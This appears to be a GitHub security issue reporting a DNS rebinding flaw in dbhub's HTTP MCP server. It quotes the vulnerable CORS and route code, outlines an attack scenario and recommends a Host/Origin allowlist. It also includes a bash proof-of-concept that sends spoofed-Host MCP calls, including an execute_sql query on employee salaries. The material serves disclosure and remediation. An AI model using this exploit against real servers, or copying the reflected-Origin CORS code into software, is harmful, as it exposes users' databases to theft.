-
Notifications
You must be signed in to change notification settings - Fork 209
DNS Rebinding via Missing Host Header Validation #304
Copy link
Copy link
Open
Description
Summary
The Express handler for POST /mcp processes every request regardless of the Host header value. The CORS middleware that precedes it reflects the incoming Origin header unconditionally, and no middleware validates Host:
// src/server.ts — CORS middleware (applied to ALL routes)
app.use((req, res, next) => {
const origin = req.headers.origin;
res.header('Access-Control-Allow-Origin', origin || 'http://localhost'); // ← reflects any origin
res.header('Access-Control-Allow-Credentials', 'true');
// ...no Host or Origin allowlist check...
next();
});
// src/server.ts — MCP route (no host guard)
app.post("/mcp", async (req, res) => {
const transport = new StreamableHTTPServerTransport({ ... });
const server = createServer();
await server.connect(transport);
await transport.handleRequest(req, res, req.body); // ← executes unconditionally
});Related | CVE-2025-66414 (MCP TypeScript SDK ≤ 1.23.x — no Host validation)
Scenario
- The developer runs
dbhub --transport=http --demoon their workstation. - The attacker registers
attacker.comin DNS pointing to their own server IP. - The developer visits
http://attacker.com/exploit.htmlin their browser. - The attacker's page uses JavaScript
fetch()to probehttp://attacker.com/mcp.
At this point, the DNS TTL expires and the attacker re-bindsattacker.comto
127.0.0.1(the developer's loopback address). - The browser sends subsequent
fetch()calls tohttp://attacker.com/mcp, which
now resolves to127.0.0.1:80. Because the request'sOriginheader is
http://attacker.comand the server reflects it viaAccess-Control-Allow-Origin,
the browser's SOP allows the JavaScript to read the full response. - The attacker calls
tools/listto enumerate tools, thenexecute_sqlwith
arbitrary SQL against the connected database — all without any user credential.
Recommendation
Add a Host/Origin allowlist middleware before all route handlers in
src/server.ts:
// Immediately after app = express()
const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);
app.use((req, res, next) => {
const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
if (!ALLOWED_HOSTS.has(host)) {
return res.status(400).json({ error: 'Invalid Host header' });
}
const origin = req.headers.origin;
if (origin) {
try {
const originHost = new URL(origin).hostname.toLowerCase();
if (!ALLOWED_HOSTS.has(originHost)) {
return res.status(403).json({ error: 'Cross-origin request denied' });
}
} catch {
return res.status(400).json({ error: 'Malformed Origin header' });
}
}
next();
});PoC
#!/usr/bin/env bash
# =============================================================================
# PoC F-01 — DNS Rebinding via Missing Host Header Validation
# Target : dbhub v0.21.1 (src/server.ts)
# Finding : DNS-REBIND (High) — CVE-2025-66414
# CVSS : 8.0 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L)
#
# What this PoC proves
# --------------------
# dbhub's Express HTTP server processes MCP requests from any Host value.
# This PoC simulates the final two HTTP steps of a DNS rebinding attack:
#
# Phase 1 (browser → attacker DNS): browser fetches http://attacker.com/
# → DNS resolves to attacker's real server → page loads exploit JS
#
# Phase 2 (DNS TTL expires): attacker re-binds attacker.com → 127.0.0.1
# → browser re-resolves and sends MCP requests to localhost:PORT
# with Origin: http://attacker.com
#
# This script reproduces Phase 2: it sends real MCP calls to localhost while
# carrying a spoofed Host / Origin so the server believes they come from the
# attacker's domain. Because the server reflects any Origin in
# Access-Control-Allow-Origin, a real browser would honour the CORS response
# and let the attacker's JS read every byte of the MCP replies.
#
# Usage
# -----
# # 1. Start dbhub in HTTP mode (demo DB is sufficient)
# cd /path/to/dbhub
# npx tsx src/index.ts --transport=http --demo --port=18765 &
# sleep 3
#
# # 2. Run this script
# bash poc_f01_dns_rebind.sh [PORT] # default port: 18765
#
# Expected result
# ---------------
# STEP 1 — Host: evil.attacker.com → HTTP 200, serverInfo in JSON body
# STEP 2 — Origin: http://evil.com → ACAO: http://evil.com (origin reflected!)
# STEP 3 — execute_sql via spoofed host → employee rows returned without auth
#
# Patched result
# --------------
# STEP 1 should return HTTP 400 with { "error": "Invalid Host header" }
# =============================================================================
set -euo pipefail
PORT="${1:-18765}"
BASE="http://localhost:${PORT}/mcp"
SPOOFED_HOST="evil.attacker.com"
SPOOFED_ORIGIN="http://evil.attacker.com"
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
die() { echo -e "${RED}ERROR: $*${NC}" >&2; exit 1; }
ok() { echo -e "${GREEN}[PASS]${NC} $*"; }
bad() { echo -e "${RED}[VULN]${NC} $*"; }
info(){ echo -e "${YELLOW}[INFO]${NC} $*"; }
echo ""
echo "=== PoC F-01: DNS Rebinding — dbhub v0.21.1 ==="
echo " Target : ${BASE}"
echo " Spoofed Host/Origin : ${SPOOFED_HOST}"
echo ""
# ── Sanity: confirm the server is actually running ────────────────────────────
info "Checking that dbhub is listening on port ${PORT}..."
if ! curl -sf -o /dev/null \
-H "Accept: application/json, text/event-stream" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"sanity","version":"0"}}}' \
"${BASE}"; then
die "dbhub is not reachable at ${BASE}. Start it first:
cd /path/to/dbhub && npx tsx src/index.ts --transport=http --demo --port=${PORT} &"
fi
ok "Server is up."
echo ""
# ── STEP 1: MCP initialize with spoofed Host header ──────────────────────────
echo "--- STEP 1: initialize with Host: ${SPOOFED_HOST} ---"
INIT_BODY=$(printf '{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": { "name": "attacker", "version": "1.0" }
}
}')
INIT_RESP=$(curl -si -X POST "${BASE}" \
-H "Host: ${SPOOFED_HOST}" \
-H "Origin: ${SPOOFED_ORIGIN}" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d "${INIT_BODY}" 2>&1)
HTTP_STATUS=$(echo "${INIT_RESP}" | grep -m1 "^HTTP/" | awk '{print $2}')
echo " HTTP status : ${HTTP_STATUS}"
if echo "${INIT_RESP}" | grep -q "serverInfo"; then
SERVER_NAME=$(echo "${INIT_RESP}" | grep -o '"name":"[^"]*"' | head -1)
bad "Server responded to spoofed Host with a valid MCP response!"
echo " Server: ${SERVER_NAME}"
else
ok "Server rejected spoofed Host (no serverInfo in response)."
echo "${INIT_RESP}" | tail -5
echo ""
echo "Server appears patched. Exiting."
exit 0
fi
echo ""
# ── STEP 2: Verify CORS Origin reflection ────────────────────────────────────
echo "--- STEP 2: Verify Access-Control-Allow-Origin reflection ---"
ACAO=$(echo "${INIT_RESP}" | grep -i "access-control-allow-origin" | head -1 || true)
if [ -z "${ACAO}" ]; then
info "No ACAO header in response (may not be needed for this transport mode)."
else
echo " ${ACAO}"
if echo "${ACAO}" | grep -qi "${SPOOFED_ORIGIN}"; then
bad "Server reflects attacker Origin in ACAO — browser CORS check will pass!"
bad "A real browser would allow attacker JS to read MCP responses."
elif echo "${ACAO}" | grep -qi "\*"; then
bad "ACAO: * — wildcard allows all origins including attacker's."
else
ok "ACAO does not reflect attacker origin."
fi
fi
echo ""
# ── STEP 3: Execute SQL query via spoofed Host (full database access) ─────────
echo "--- STEP 3: Call execute_sql via spoofed Host (no auth) ---"
SQL_BODY=$(printf '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "execute_sql",
"arguments": { "sql": "SELECT name, salary FROM employees LIMIT 3" }
}
}')
SQL_RESP=$(curl -s -X POST "${BASE}" \
-H "Host: ${SPOOFED_HOST}" \
-H "Origin: ${SPOOFED_ORIGIN}" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d "${SQL_BODY}" 2>&1)
echo " Response:"
echo "${SQL_RESP}" | python3 -m json.tool 2>/dev/null || echo "${SQL_RESP}"
echo ""
if echo "${SQL_RESP}" | grep -q '"rows"'; then
bad "execute_sql returned data through the spoofed-Host session!"
bad "An attacker can steal all database contents via DNS rebinding."
elif echo "${SQL_RESP}" | grep -qi "error"; then
info "execute_sql returned an error (may be expected in this DB state)."
info "The MCP session itself was established — the Host check failed."
else
info "Unexpected response — inspect manually."
fi
echo ""
# ── Summary ───────────────────────────────────────────────────────────────────
echo "=== Summary ==="
bad "VULNERABLE: dbhub accepts MCP requests with arbitrary Host headers."
echo ""
echo " Root cause : src/server.ts — no Host/Origin allowlist before POST /mcp"
echo " Impact : Browser DNS rebinding allows any website to issue MCP calls"
echo " (including execute_sql) as the developer's local dbhub instance."
echo " Fix : Add middleware before all routes:"
echo ""
cat <<'FIX'
const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);
app.use((req, res, next) => {
const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
if (!ALLOWED_HOSTS.has(host)) {
return res.status(400).json({ error: 'Invalid Host header' });
}
const origin = req.headers.origin;
if (origin) {
try {
const originHost = new URL(origin).hostname.toLowerCase();
if (!ALLOWED_HOSTS.has(originHost)) {
return res.status(403).json({ error: 'Cross-origin request denied' });
}
} catch { return res.status(400).json({ error: 'Malformed Origin' }); }
}
next();
});
FIX
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels